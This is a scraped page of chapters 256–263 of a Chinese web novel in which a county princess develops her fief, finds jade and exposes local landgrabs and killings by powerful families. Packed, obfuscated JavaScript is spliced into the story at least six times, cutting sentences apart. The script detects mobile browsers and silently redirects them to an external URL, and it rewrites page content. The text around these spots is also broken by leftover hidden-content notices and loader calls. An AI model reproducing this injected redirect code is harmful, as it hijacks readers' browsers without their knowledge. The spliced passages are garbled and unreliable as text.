“下官明白,多谢县主提点。” “你的政绩考核一直都为中,今年好好做事,我不介意让你呈报的税收上多一些,再或者是其它的政绩亦可出彩。只要今年的考评为上,那么明年你在此任职期满,想要上调,也就不算是什么大事了。” “多谢县主!下官对县主感激不尽,日后愿唯县主之命马首是瞻。” 许昭昭只是微微一笑,这种话,听听就行了。 一旦自己遇到困境,这种人是指望不上的。 他不落井下石,就已经是善良了。 “不打扰贵县公务了,蓝田县地薄人稀,粮食产出稀有,但并非毫无办法。我云栖山庄的产业,亦是要受贵县监管的,日后还要多多配合才是。” “下官遵命,一切以县主为尊。” 许昭昭见他听懂了自己的意思,也便不再多留。 只要这位县令足够聪明,那么,她也不是不可以给他一份政绩。 或许,她得去那两座荒山瞧瞧了。 第256章 发财了 蓝田县产玉,主要产出蓝田玉。 蓝田玉是四大名玉之一,以其温润的质感和多样的颜色而闻名。 但是即便蓝田有玉矿,也仍然没有办法摆托现在还算是贫瘠的事实。 为什么? 蓝田县有玉矿又如何? 目前在蓝田县发现的三座玉矿,一座是朝廷的,一座是皇帝的私产,还有一座则是赵家的。 有玉矿,也的确是可以卖银钱。 但真正发达的是矿产的主人,而不是这里的百姓。 甚至于正是因为有了玉矿,所以常年需要劳工挖矿、打磨等等,反而致使田地荒芜。 总而言之一句话:生产力低下,有限的资源又被顶尖儿上的几个人所掌握,所以,普通老百姓受惠有限。 但是换个角度想,蓝田县穷,是跟京城邻近的地方比,若是跟一些偏远的真正的穷县比,那蓝田县算是相对富有的了。 因为蓝田产玉,每年因此而得到的一些税收自然就会比普通的只会种地的县要多得多,所以,蓝田县竟然也是个大县。 其实原本蓝田县是划了一个山头给她的,但是也不知道怎么了,永安帝又干脆一道旨意,将旁边的山头也归到她名下了。 许昭昭觉得,皇上这是心虚了,所以想要补偿她一下。 毕竟这是拿她当高级打工人呢,指望着她能让蓝田县繁华起来,所以干脆就多许些好处,毕竟自己只是食邑千户,可是整个蓝田县是有两万户的。 所以,一旦她真地将云栖山庄给做强做大了,最终受益的,还是整个蓝田县,乃至于是整个朝廷! 许昭昭从来就不是一个内耗的人,所以她当即就坦然接受了这份赏赐。 现在既然来了,就得去这两座山头好好看看。 许昭昭到地方后,对于这里倒是有了一个初步的认识。 蓝田玉的形成与当地特殊的地质条件密切相关。m.xfanjia 许昭昭此时无比庆幸,上辈子自己也算是读过书的,恰好还认识一位学珠宝设计的朋友,所以,对于蓝田玉,有一定的了解。 蓝田县属于秦岭山脉的一部分,经过漫长的地质作用,包括高温高压的变质作用,使得蓝田玉的矿物质成分在母岩中结晶形成。其主要成分包括蛇纹石和碳酸盐矿物,颜色多样,主要有绿色、白色、黄色等色调,其中以绿色和白色最为常见。 许昭昭现在就盼着这两座山头里,能让她发现有玉矿。 这才叫天降横财了! 现在的云栖山庄已经有六百余户了。 这其中,有一部分人是长生把自己先前所认识的那些乞丐给忽悠来了,还有一部分人则是来投奔严树和李生的。 这二人都是正经的贫农出身,老家得知他们现在出息了,在县主手底下做事,那自然就想着能过来投奔,老家的日子不好过,如果能在这里找到栖息之地,也算是能有安稳日子过了。 别的不说,仅仅是能给蓝田县增加人口,这就已经让县令很知足了。 有人,就等于是有劳力,那么无论是重农还是重商,都能有更好的发展。 勘探玉矿的事,许昭昭不着急,天色晚了,还是先好好歇息一晚,明日一早再上山。 陈琮在用过晚膳后,专程来谢许昭昭。 “你不必如此,既然是你的堂舅,我理当扶持一把。兴许日后他能成为我三哥的助力呢?况且表哥也是要考科举的,日后为官作宰,总有机会来谢我的。” 陈琮一听这话便哭笑不得。 先不说他还没有考中,便是真地中了,那也不可能短时间内真地升任大官。 这个表妹,是会安慰人的。 “无论怎样,我代母亲和舅舅谢过表妹了。” “好吧,你这一礼我受了,表哥可安心了?” 陈琮的嘴角微微抽动,为什么表妹说话总让人感觉欠儿欠儿的呢? 次日一早,许昭昭便带着丁香和紫苏先上山了。 主仆三人都换了更为便宜行事的衣裳,许昭昭利用山中的草木,总算是对于这座山头有所了解。 还真让她给来着了! 真的有玉矿呀! 而且还是罕见的黄色玉石。 这下子,是真的发财了。 做什么买卖都比不上家里有矿来钱快呀! 不过,不能急。 眼下最主要的,还是先开荒,不然都上来采矿了,谁去种田? 现在有曲辕犁,已经是方便了很多。 但是显然还不够。 许昭昭觉得眼下这农事,还得想法子再改革改革,若不然,投入进去的人手太多了。 不过,许昭昭倒是想到一件事。 她上辈子便曾听人提过,古代的君王虽然是盼着国富民安,但并不是真地愿意自己治下的百姓能多富有。 吃饱饭,穿衣暖,就可以了。 若是都特别有钱了,兴许就会生事,这于上位者的统治不利。 所以,时常会有人提议在百姓日子好过时,加个税或者是增个赋的。 更甚至于,后来还有人传清朝“三十三两白银”驭民术,简而言之,即通过控制民众手中的白银数量,以三十三两为限,来操纵和制约民众经济行为的一种策略。 清朝百姓年均收入约三十三两白银,而支出平均三十六两,差距约总收入的百分之十,即三两。百姓虽努力却难以填补,只能终日奔波劳作,无暇思考,更无力反抗清政府。 这种说辞,上辈子许昭昭听过很多次。 但是都经不起推敲。 虽说这种说辞有可能是夸大了,甚至有可能是假的。 但总而言之,说出了上位者的心思,那就是不能让老百姓们吃太饱,人太闲了。 人闲,则容易出事。 所以,统治者,可以看到国富兵强,却不愿意看到老百姓们日子过得太富裕。 许昭昭现在不确定永安帝是否也是一位这样的帝王,所以,有些事,还是不能急的。 既然是朝廷重视农商,那就还是先从农事做起。 只要能开荒成功,那么,粮食增产了,老百姓的日子好过,这粮税自然也就能收得丰厚了。 粮食增产之法,这可难不倒许昭昭。 虽然不能急着有其它表现,但是可以先让农户们试着堆肥、再试试因地制宜等等,总会有办法的。 第257章 不怕她要,就怕她不要 粮食增产的主要办法包括扩大耕地面积、提高单位面积产量、发展间作套种、推进撂荒地复垦、推广高产技术模式和加强防灾减灾措施。 这些都难不倒许昭昭。 现在已经有水车了,而且划分到她这里的大片土地也的确是有一条河流经过。 除此之外,许昭昭现在最想做的,就是育种。 她自己就是植物系异能者,想要选出最好的种子,或者说是经过她的异能覆盖的种子,产量本身就会比普通的种子高。 这也就是从源头上,先一步给最终的收获打下一个良好的基础。 许昭昭现在还想到了要发展间作套种:也就是通过在同一地块上种植多种作物,充分利用土地和光热资源,提高单位面积的产量和收益。 这一点很重要。 百果园就是这么干的。 比如说有些果树之间,是被种了豆类或者是疏散的。 除此之外,还可以再在果林里豢养大量的家禽。 鸡鸭鹅这些东西,原本就是可以帮着解决地里的虫害的。 许昭昭又根据目前的技术水平,想到了要推广高产技术模式。 这个听起来好像是挺复杂,其实很简单。 比如玉米精准调控、大豆大垄密植、小麦精细整地播种、油菜直播密植等,以提高作物的单产。 说白了,就是根据这些农作物或者是蔬果的特性来种植。 可惜呀,这里没有水田,要不然,她真想试试稻田鱼蟹是不是能行得通。 许昭昭将这些都记录下来,交给严树,然后又命人在其中一座山上开始种植大量的果树。 树苗都是现成的,让他们从百果园运过来就行。 “县主,现在移栽,是不是晚了些?” “放心吧,没事。我会让百果园那边把树根保护好,你们只管挖坑种树就行。” “是,县主。” 许昭昭心想,现在的确是过了最佳的移栽时间,但是那又如何呢? 她弄出来的树苗,就是大冬天移植,也都能活得好好的。 因为大部分的土地都是开荒,所以他们都是种了春玉米的。 而春玉米成熟之后,他们基本上就不能再种玉米了,因为这会误了种冬小麦的时间,所以严树的意思是种些红薯、蔬菜、豆类。 对此,许昭昭自然是没有意见。 农事方面,她虽然看似懂得多,但是实际上只会纸上谈兵。 真要让她种地,估计也只能靠异能。 真让她去堆肥,她怕是能吐得昏天黑地。 许昭昭有自知之明,所以就没打算过多的指手划脚。 “严叔将这里安排得很好,相信用不了多久,我就可以真正搬过来住了。” “县主过奖。要不是县主那里的银钱给补充得及时,我就是再有本事也做不来。” 许昭昭笑了,这个严树还真是个老实人。 丁香过来禀报:“小姐,表少爷和方县丞在外求见。” “请他们进来吧。” “是。” 严树连忙行礼:“小人告退。” 方有为一进门,就连忙作揖行礼:“下官拜见安乐县主。” “免礼,坐吧。” 这里不是县衙,许昭昭今日也没有打扮得那么盛丽,这也让她整个人散发出更多的惬意感。 “陈表哥今日不去盯着付大人了?” 这话一听就知道是在打趣。 陈琮无奈道:“昭昭就别再笑话我了。我主要也是担心表妹会被男人骗。” “那今日就不怕了?” 陈琮两手一摊:“我错了!” 许昭昭轻笑几声,这才转头看向方有为:“方堂舅今日来可是有事?” “回县主,下官今日过来,是有一件事情要禀告,但又担心给县主带来麻烦,所以就先和陈琮商量了一下。” “说吧。” 方有为自袖中取出一沓纸,看起来很厚实,而且隐约能看到里面有红色的印记。 丁香接过来,然后转呈至许昭昭面前。 许昭昭越看,这脸色越冷,她没想到,竟有人如此胆大妄为! 这蓝田县距京城也不过才七十余里,这些人是怎么敢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121110|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! “这上面所写可都属实?” “下官不敢欺瞒县主,这些都是县尊大人命我和县尉都去核实过的,但我们人言轻微,县尉虽掌刑狱,但是也不敢惹这些权贵之家,不是县尉胆小怕事,实在是他的家眷也曾被威胁拿捏,实在是不敢呀!” 许昭昭深吸一口气。 简直就是无法无天! “此事县令是如何说的?” “县尊大人的意思也是想着一切听凭县主做主。不瞒您说,就在去年冬,我们县尊大人险些就被人暗杀了,若非是县尉大人这边反应及时,怕是……” 许昭昭点点头:“此事我知道了,你们且宽心。不过,这上面所涉及的田产可不少。” “县主放心,县尊大人说了,若是此事能成,定然不会让您白帮忙。” 许昭昭乐了:“这是想要向我**?” “不敢!” 方有为吓得站起来,连忙作揖:“这里面原本就有不少是被隐没的土地,一直不曾上报。说白了,就是在官府没有备案的。县尊大人说了,他能操作的空间,大概就是六百亩良田,届时可以无偿送给县主。只求县主能让这六百亩良田仍然由原来的佃农们耕种度日即可。” “你不必如此小心,此事既然是发生在了蓝田县,我又知道了,若是不管,自然是不妥。这田地就是老百姓们的命根子,你回去跟县令说,这六百亩良田他若是真地给我了,之后我会将这些都均分给地方百姓,我许昭昭不缺这六百亩田产,但是哪怕六亩地,兴许就能救一户人家的性命呀!” 方有为闻言激动作揖,这次是一揖到底:“县主大义仁善!” 许昭昭笑了笑:“行了,莫要再给我戴高帽。我虽然可以不要这些田产,但是我看这上面所记的商铺可有不少,他们强占来的铺面,自然是应该物归原主,但是原本属于他们的那几间,归我了。” “是,这个简单。” 方有为笑了,这比操作那些田产可以省心多了。 而且,他不怕许昭昭要好处,就怕她不要。 她开口要了,就说明此事她定会尽力。 第258章 先铺垫一把 许昭昭没有避着陈琮,正好让他也听一听,自然就知道官场上的一些猫腻了。 “方县丞,你回去让县令写一份奏折,记得,你和县尉都要在上面署名,既然是做了,这次就要捞把大的。不仅仅是为蓝田县除害,更不能做个无名英雄!” 方有为眼睛一亮,瞬间就领悟到了她的意思。 这是要帮着他开始攒政绩了。 只要他署了名,届时这折子送至御前,也算是在圣上那里过了一下眼。 他不求别的,只求陛下能看到他的名字,那他日后便能有机会晋升。 “县主大恩,下官没齿难忘。” 一旁的陈琮还懵着呢。 不就是署个名,怎么还大恩了? “方县丞不必客气,若是一切顺利,日后县令高升,我自然会提醒他举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121111|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荐你来接任蓝田县令。届时,若是陈 ******后面还有1881个字内容被隐藏了****** ******后面还有1881个字内容被隐藏了****** loadBookInfo(34, 13208034, 258,''天良缘''); 第259章 不偏不倚 许昭昭将县令所写的奏折呈上,之后便一直低头等着圣上问话。 县令的这道奏折有些长,上面除了陈述周家的恶行之外,还特意提到了赵家草菅人命一事。 永安帝脸色阴冷:“安乐,这上面所写,可有证据?” “回陛下,原本证据是全的,但是因为去岁县令带着县丞以及县尉查案时屡遭阻挠,所以有两位证人被暗杀,但是他们死前的供词还在。除此之外,还有其它的一些物证和人证。” 许昭昭将先前准备的一大摞证词呈上。 这上面有告状的状子,也有证人的证词。 “岂有此理!” 永安帝原本就在查安王府的仆从,竟然敢倒卖御赐之物,这是死罪! 没想到许昭昭又给送上来了这么多的证据。 “你这是刚从蓝田县回来?” “回禀陛下,臣女原本是想着趁着兄长休沐之时,一起去蓝田县看看,也想请付大人和兄长一起帮忙出出主意,看看如何安置好您和崔大人指派过去的残兵流民。原本只是想着与地方县令打声招呼便好,不曾想,蓝田县的县丞方有为竟是我表兄陈琮的舅舅。” 许昭昭话落,微微抬眼,帝王脸上不形于色,但至少可以肯定不会迁怒于她,所以便继续回话。 “方县丞先找到了陈琮,然后才与他一起来求我做主。臣女细问之下方知,去岁蓝田县令和县尉就因追查这几起案子,而先后**,好在县尉反应及时,之后县令不得不将案子押后,未曾直接宣判,否则,其家眷不保。 方有为等三位大人商议之后,觉得臣女既然去了蓝田县,便是一次机会,他们原本想着将此案托付于付大人,但奈何付大人并不主管刑狱,且是寒门出身,根基尚浅,他们也怕害了付大人,这才斗胆求到了臣女面前。 臣女拿到这些之后,并未急着呈报陛下,就是想要先将上面的事情查实,以免再被人利用。故而,兄长他们回京时,臣女便留在了蓝田县,同时还让手下的严树和李生派人帮忙打听,确定了这些恶行属实之后,这才敢来进宫禀报。” 许昭昭说的不徐不疾,又有理有据。 永安帝心中的怒火虽然未曾消下去,但是对于行事这般有条理的女子,还是十分赞赏的。 “你做的不错。” “臣女不敢居功,这原是朝廷大事,若非是因为父亲不在京中,臣女也不敢冒昧进宫来面呈陛下。臣女只是代为转交,实不敢插手地方政务。” 永安帝点点头:“你不必过谦,也不必害怕。蓝田县是你的封地,地方县令也是求路无门,你这样的二品县主自然就是他们能接触到的最高权贵了。他们求到你跟前,也是正常。” 永安帝的话锋突然一转:“你说他们三人曾遇到行刺?” “正是,尤其是县令和县尉被刺杀一事,蓝田县很多人都知道。因为就是在街道上直接行刺的。但是县令和县尉二人能力有限,实在是没有办法追查出幕后真凶。” 能力有限? 永安帝明白,这是指他们的背景不够,才会被人欺负呀! “你且退下吧。” “是,臣女告退。” 许昭昭前脚出宫,大理寺卿后脚就被叫进宫来了。 “看看吧。这个周大郎的事,你暂且不必管,此事由赵长清去查了。但是朕没想到,赵家的胆子竟然如此大!挖矿采玉,这是生财之道,朕自然不会怪他们,但是他们竟然敢直接无视百姓生计,强抢劳工上山卖命,劳工死后,竟是只给两百钱做抚恤,简直岂有此理!” “陛下,那微臣可要彻查此案?” “当然!不仅如此。还有蓝田县的县令、县丞、县尉三位官员竟然就在本地被人公然行刺,这置我朝廷颜面于何地!” 大理寺卿了然,难怪圣上如此震怒。 换他,他也得生气。 这些人未免胆大包天了。 得,原本还在等着看安王府笑话的那些人,现在就准备缩起脖子来,再让别人看笑话吧。 赵家的玉矿? 呵呵,巧了不是,那不正好就是忠王妃的娘家? 半个时辰之后,赵长清入宫觐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126608|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,将周大郎的所言所言皆记录在案。 “你速去蓝田县,将周家强占良田商铺、**放火等恶行查实!” 赵长清看到了这些状子和证词,立马就明白,这是蓝田县的地方官呈报上来的。 “是,微臣即刻前去。” 许昭昭把东西呈上之后,就十分轻松地回了自己的紫园。 周家一事,圣上势必会怀疑到许昭昭是否偏向于忠王府了。 可是如今,她将赵家玉矿的事也呈报上去,那就完全打消了圣上的疑心。 而且,她上报的也都是事实。 至于赵家是否因此而恨上她许昭昭,她是毫不在意。 原本就不是一条船上的人,会有冲突也是正常的。 而且,她总觉得圣上分明就是有意想要打压一下赵家的,所以,蓝田县玉矿一案,正好就是她送到陛下眼前的石头,也算是投石问路了。 安王是嫡子,忠王是长子。 许昭昭觉得圣上不会立庶子为太子的。 大兴的礼法也不允许。 别以为礼部的官员以及皇室宗亲都是摆设。 他们可都是极其看重嫡庶之别的。 至于皇后的幼子…… 许昭昭微微眯眼,不着急,时间还早,而且永安帝的身体可不像是会早逝的命。 许昭昭这次一出手,直接就打击到了两位皇子,而且不偏不倚。 都不是皇子本身的问题,但都与皇子脱不了干系。 许昭昭一回蓝田就匆匆进宫见驾,这不是什么秘密。 所以赵家玉矿以及周家仗势欺人等恶行曝出来之后,不少人都将注意力放到了许昭昭身上。 毫无疑问,大家都猜到了这些东西应该就是许昭昭送上去的。 但是那又怎样呢? 许昭昭只是受人所托,她一介女子,怎么可能去插手这样的刑狱之事? 赵月气得一把打翻了桌上的茶盘,脸上的狰狞之色甚浓。 “许昭昭,你不好好在京城待着,要你多管闲事!” 第260章 账不是这么算的 赵氏玉矿一案,查起来并不费力。 因为人是真的**,赔偿也是真地只有二百钱。 当然,赵家这边的行动力也是很快的。 前后推出来两个管事,十几个家丁,还有蓝田县本地的一位里正、亭长后,此事也便落下帷幕。 至于那些受害者的家眷,自然也都得到了补偿。 每个遇难者的家眷皆得到十贯钱做为赔偿,除此之外,每家还得了两匹布、三十斤米粮做为补偿。 这些补偿多吗? 对于普通老百姓而言,的确是不少了。 光是十贯钱,就足够一家七八口人一年的嚼用,更何况是还有其它的物品补偿。 但是换个角度想,他们家中失去了一个壮劳力,按正常来算,一个壮劳力最起码可以为家里贡献二十年。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126609|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个壮劳力二十年能赚多少银钱? ******后面还有1915个字内容被隐藏了****** ******后面还有1915个字内容被隐藏了****** loadBookInfo(34, 13208034, 260,''天良缘''); 第261章 指桑骂槐 中书侍郎赵岳州的夫人房氏,自然也是出自名门,若不然,嫁不进赵家。 而赵岳州是目前赵氏一族中,在朝堂上最有权势的一位,不仅仅是因为其出身赵氏,有底气,更重要的是,此人极有才华,先皇在世时,便曾赞誉其为才子,且盼他日后能成为国家栋梁之材。 如今二十余载过去,赵岳州也的确是如先皇所赞赏的那般,成为了一个朝堂上人人称赞的能臣。 是能臣,而非权臣,就是因为他是的的确确为大兴朝做了几件实事的。 她是来找问罪的? 不对,像赵氏这样的家族,自诩钟鸣鼎食之家,百年望族,向来自视甚高,寻常权贵人家根本就入不得他们的眼。 所以,赵夫人怎么可能会和许琳一起来侯府? 要知道许琳出嫁前就算是顶着一个侯府千金的名头,赵家人也未必愿意多看她一眼,更何况她如今只是一个小官之妇。 许昭昭来了兴致,倒是想听听这位赵夫人能说些什么。 待进屋请安,又闲聊几句之后,许昭昭才知道,这二人在大门外正好遇上,所以许琳才巴巴地把人给迎进门了。 就这等讨好卖乖的言行,许昭昭都看不上,更何况是赵夫人了。 王若兰笑着命人上了如今京城最火爆的桂花红茶,然后请赵夫人品尝。 “早就听闻这桂花红茶是出自安乐县主之手,原还有几分不信,如今见府上竟是并不觉得此茶珍贵,我才信了这话。” 什么人不把桂花红茶当回事? 自然是只有主家才会如此。 因为他们家是不缺这等东西的。 “赵夫人莫要取笑她了,也就是一个未出阁的姑娘,自己闲来无事瞎琢磨的。你若是再夸她,只怕她的尾巴都要翘上天了。” 赵夫人笑着尝了一口:“果然好茶!只是我吃着这茶竟是比我自己买来的还要更香甜一些,这是何故?” 王若兰笑眯眯地看向许昭昭:“你来说。” 许昭昭笑道:“赵夫人觉得此茶更香甜,可能是因为冲泡之法不同。桂花红茶可煮、焖、泡,每种做法出来的茶汤品相不同,口感不同。” “哦?倒是让我长见识了。” “改日若是夫人得空,可以尝尝晚辈烹的茶,别有一番滋味。” “好!你这桂花红茶就足以惊艳了,我还真的是想看看你还能玩出多少花样来。” 一番说笑,谁都没有提及赵氏玉矿之事,一旁的许琳反倒是坐不住了。 “昭昭,你说你也真是的,你母亲与赵夫人还曾是闺中密友呢,你这次做的事情可是有些**道,这不是要坏了她们姐妹间的情意嘛。” 许昭昭当然知道王若兰和房氏的关系,出阁前的确是朋友,但不至于到密友这个地步。 “姑姑这是何意?我做什么了?” 赵夫人脸色一暗,她来这里原本就不是为了树敌,怎么从许琳嘴里说出来,倒好像是她上门问罪来了。 “昭昭不必理她,我与她也算是认识时间不短了,就是嘴大!这次的事情你做的很好,无论是接下那份奏折,还是后来的处置结果,都是你身为县主应该做的。这件事也是我们赵家内部管理不善,出些银钱赔偿,也是我们应该的。” 许昭昭听出来了,赵夫人这话看似是不介意,但实际上却是在提醒她,你只是县主,不是朝臣,没必要多管闲事。 而且,不过是几千贯钱,对于赵家来说,也不算什么。 一百多条人命,在他们眼里,兴许还不如一箱子珠宝值钱。 “夫人能体谅,晚辈这心里就轻松多了。此事说来也是赶巧了,怪我多嘴,质问县令为何会有那么多的人到县衙申冤,且为何我一路走来看到的不是哭丧的,便是卖儿卖女的。” 赵夫人的脸色已然有些难看。 许昭昭似乎是没有注意到这一点,叹息道:“我也是没想到,只是这么一问,便问出案子来了。尤其是那周家人,无恶不作,家中不过是出了一个秀才,还有一个在安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131059|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王府做事的奴仆罢了,竟然就敢在蓝田县作威作福,简直不成体统!” 赵夫人脸色铁青,这哪是在骂周家呀,这分明就是在指桑骂槐! 但人家字字句句未提赵家,这话你怎么接? 便是想要骂回去,你都找不到理由。 赵夫人觉得自己活了几十年,从没有如此刻这般憋屈过,胸口都是一阵阵的疼。 “好了,昭昭,在你祖母和客人面前,就不提这些了。” “是,母亲。” 许昭昭又坐了一会儿,赵夫人也知道在她这里是讨不到好处的,也不愿意与许琳多言,便提出告辞。 老夫人这屋里一下子就清静许多。 许琳不满道:“许昭昭,你一个小姑娘家家的,怎么只知道得罪人?你可知道赵家是什么人家?你倒是好胆色,上来就把案子捅到御前了,你怎么就不知道替我们这些亲眷们想想?” 王若兰皱眉:“好了!哪有那么严重!再说了,这等事情,原本就是赵家不对,你还想怎样?昭昭的封地在蓝田县,她出手帮忙有何不可?要我说,这正是她职责所在!” 许昭昭现在也不装了,冷脸道:“母亲说的是,姑姑,那赵夫人都不曾指责我一句,你在这里又是替谁撑场子?” 许琳一噎,看看老夫人,再看看她们娘俩,只觉得自己被鄙夷了。 “好呀!许昭昭你现在都这般没有规矩了吗?我是长辈,是你姑姑,你竟然敢用这样的态度跟我说话?你反了天了!” “好了!” 许昭昭原本还想着直接怼回去,结果老夫人直接发话了。 “事情已经发生了,而且这件事也的确是赵家不占理。昭昭这样做虽然是鲁莽了些,但好歹是站得住脚的。那赵夫人为何一直不曾指责昭昭?就是因为她也知道赵家不占理。他们赵家推出来的那些替罪羊,真以为别人不知道吗?” 许琳缩了一下脖子:“母亲?” “你自己看不清楚形势,就少说话!” 第262章 教女 老夫人也看出来了,这个家里谁也管不了许昭昭。 许翰和王若兰夫妻俩宠着,许文和李氏这两个长辈护着,还有家里头的几个孙辈个个都向着她说话,谁能罚得了许昭昭? 而且许昭昭如今还是二品县主,这是能让别人随意欺负的? 便是刚刚来的赵夫人,也不过就是仗着她夫君的身份才能得一份荣耀,但是这品级怎么也越不过许昭昭去。 正是因为老夫人看明白了,所以她才觉得许琳蠢! 看不清楚形势,也掂量不清自己的身份,还总想着在侯府指手画脚,难怪两个儿媳都不待见她。 “许琳留下,你们都退下吧。” “是。” 王若兰能隐约猜到婆母要教女,所以退出来之后,便给门外的一个丫环使个眼色,这才和许昭昭一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131060|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起走了。 屋内又有丫 ******后面还有1854个字内容被隐藏了****** ******后面还有1854个字内容被隐藏了****** loadBookInfo(34, 13208034, 262,''天良缘''); 第263章 战利品 “禀将军,额尔登说想见你。” 谢铮挑眉,他还真想知道额尔登能说出什么来。 毕竟现在的苏哈尔,可以说是全都成了他的阶下囚。 “嗯,许二哥,从咱们两个的身边各抽调出五十人,将这里的部分战利品押送回去。” “嗯?”许君锋有点儿懵:“不是一起都押送回去吗?” “其中一部分押送给昭昭,她的食邑尚且不足呢,正好,这里面有部分汉人,无论男女老少,让他们快速结合成家,然后按户数上报,一并遣送至蓝田县。一路上总要有些粮食吃吧?牛羊各弄上几百头,就当是他们的伙食了。” 许君锋瞪眼:“你认真的?” “不然呢?” “啧,这是不是做的有点儿太明显了?” 都不知道避着人了! 万一让御史**一下子,那不是给自己找麻烦嘛。 “主要责任在我,你就安心去办即可。” 谢铮不知道这是自找麻烦吗? 他当然知道。 可是此次攻打突厥,他立功最多,但他是国公府世子,而且又身居要职,回京后圣上要怎么封赏? 难不成再赏个爵位过来? 不合适! 而且他的生母已逝,哀荣不浅,他又没有成婚,顶多就是给自己赏些财物。 所以,适当地犯个小错,更能让圣上满意。 就这样,谢铮的人就这么大喇喇地带着人和牛羊往回赶了。 当然,谢铮也不是真的这么明目张胆地犯错,还是要请示一下行军大总管,然后又安排了崔玄明先将部分战利品押送回去。 谢铮安排的人则是跟在后面。 武将上战场会有藏匿一些战利品,这是无可指摘的,也是朝中上下人人都懂的潜规则,不会有不长眼的人真地站出来去指责谢铮的。 但是以前是些财物,倒还好。 这回可是那么多的牛羊呀! 幸好没有马匹,要不然,说什么大总管都得治谢铮一个不敬之罪。 说是护送那些汉人回归故土,但是并不可能真地让他们回原藉,因为不用想,大家都会议论他们曾遭遇的一些事,既然如此,干脆换个新环境,既是大兴的土地,又不会有人对他们指指点点,何乐而不为? 所以,谢铮的这个安排,没有毛病。 唯一的毛病,就是带走了大量的牛羊。 草原上的牛,可不是家里耕田的那种老黄牛,而且这些牛长的体格可是比较健硕的。 草原上的牛可以耕田,但是需要驯服。 草原牛是一种适应草原环境的牛种,具有较强的体力和耐力,体型较大且肌肉发达,适合用于耕地工作。 草原牛的力量和耐力使其能够胜任犁地、拉车等工作,并且它们对草料的消化能力也较强,能够从草原上获取足够的能量来支持耕地工作。 这些都是许昭昭在信中告诉他的,而且还特意言明,若是可以且不违军规的情况下,希望能帮她弄到一些牛羊。 这不,机会就来了。 如果许昭昭知道谢铮能给她弄回来几百头的牛羊,估计能笑醒了。 她那么多的田地,现在的确是太缺牲畜了。 有些地方,被她安排人撒上了苜蓿的种子,这些长大之后就是草料,可以说是人工种植出来的一片牧场。 没办法。 开荒的话,实在是太耗费人力和财力了,主要是开荒并非是一朝一夕之事,想要将下等田养成上等田,都得需要两三年的时间,更何况是荒地了! 现在,许昭昭想的就是如何能更快且更高效的利用起这些田地来。 既能让她手下的这些人吃饱,同时还不能让她自己不断地往外贴银子。 所以,这其中一片,就直接划为了牧场,现在,那苜蓿都长的有几寸高了,也不知道她的牛羊什么时候能到。 草原牛经过驯化后,无论是赶车还是耕地,都是一把好手。 谢铮原本让人安排了两百头牛、三百头羊,结果被大总管知道后直接把他叫过来破口大骂。 